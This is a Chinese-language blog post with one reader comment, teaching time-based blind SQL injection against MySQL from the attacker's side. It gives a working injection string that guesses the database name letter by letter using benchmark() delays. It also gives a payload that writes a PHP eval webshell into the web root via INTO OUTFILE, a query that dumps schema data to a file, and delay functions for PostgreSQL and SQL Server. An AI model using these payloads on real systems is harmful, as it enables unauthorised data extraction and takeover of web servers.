Timing Attack

 Stardustsky   2014-12-19 14:55   2106 人阅读  1 条评论

盲注是一项很流行的SQL注入技术,但是如今越来越多的厂家也已经意识到了这种攻击技术,也做了相应的防御措施,所以我们要想通过回显进行盲注也越来越困难。经常在我们使用比如'" and 1=1之类的去判断是否存在注入的时候,界面都不会有任何异常出现,这就让攻击者们很是蛋疼,无法判断自己的攻击语句是否被成功执行。也由此,诞生了一门新的注入技术 — 基于时间的盲注。
在mysql中,有一个叫做benchmark()的函数,这个函数的用法如下:

benchmark(count,expr)

就是将expr表达式执行count次,这个函数常被用作测试数据库性能,我在之前的一篇讲mysql安全配置的文章中也提到这个函数,这里做一个测试:

我们将1/1执行1e7这么多次,可以看到耗时为3.180秒。

1.jpeg

我们提升一个数量级,执行1e8次,这次的耗时达到了32.402秒。

2.jpeg

那我们再提升一个数量级试试呢,1e9次,这次的耗时达到了惊人的842.730秒。

3.jpeg

由此我们可以看到,执行自定义表达式和次数的benchmark函数,可以控制页面的响应时间,由此,我们就可以确认自己插入的sql语句是否得到执行,在执行攻击时,我们也可以借此判断我们的攻击是否成功。
由此我们可以构造攻击语句:

id=111 union select if(substring(current,1,1)=char(119)),benchmark(1e7,1/1)from (select database() as current) as tbl;

这段语句,我们判断数据库名字的第一个字母属否为char(119),即小写的w,如果判断结果为真,则会通过benchmark造成一定的响应延迟,如果为假,则会很快执行完毕。我们通过这种手段遍历字母,就可以猜解出数据库的全名。
相应的,我们还可以通过这种手段借用系统函数收集到更多的信息,比如:

user()
version()
system_user()
database()
……

一旦判断完成,如果拥有写权限,就可以直接写入webshell

id=111 union select "<?eval($_POST['stardustsky'])?>",2,3,4,5 into outfile "/www/web/shell.php";

或者从服务器上读取文件

id=111 union all select table_name,table_type,engine from information_schema.tables where table_schema ='mysql' order by table_name into outfile 'C:/hehe.txt'

后面步骤就和普通的注入没什么区别了。
Timing Attack算是盲注的一种高级技巧,在不同的数据库中,都有着类似benchmark()的函数供攻击者们利用

Mysqlbenchmark() or sleep()
PostgreSQLpg_sleep()or generate_series()
SQL Serverwaitfor delay '0:0:5'
其它数据库查手册


值得一提的是,受到网速,浏览器,服务器性能的影响,Timing Attack攻击时页面的响应时间可能会有一定的偏差,就需要我们灵活的调整延时时间来做出更精确的判断。


本文地址:http://www.stardustsky.net/index.php/post/17.html
版权声明:本文为原创文章,版权归 Stardustsky 所有,欢迎分享本文,转载请保留出处!

 发表评论


表情

 评论列表

  1. hilongjw
    hilongjw  @回复

    原来是这样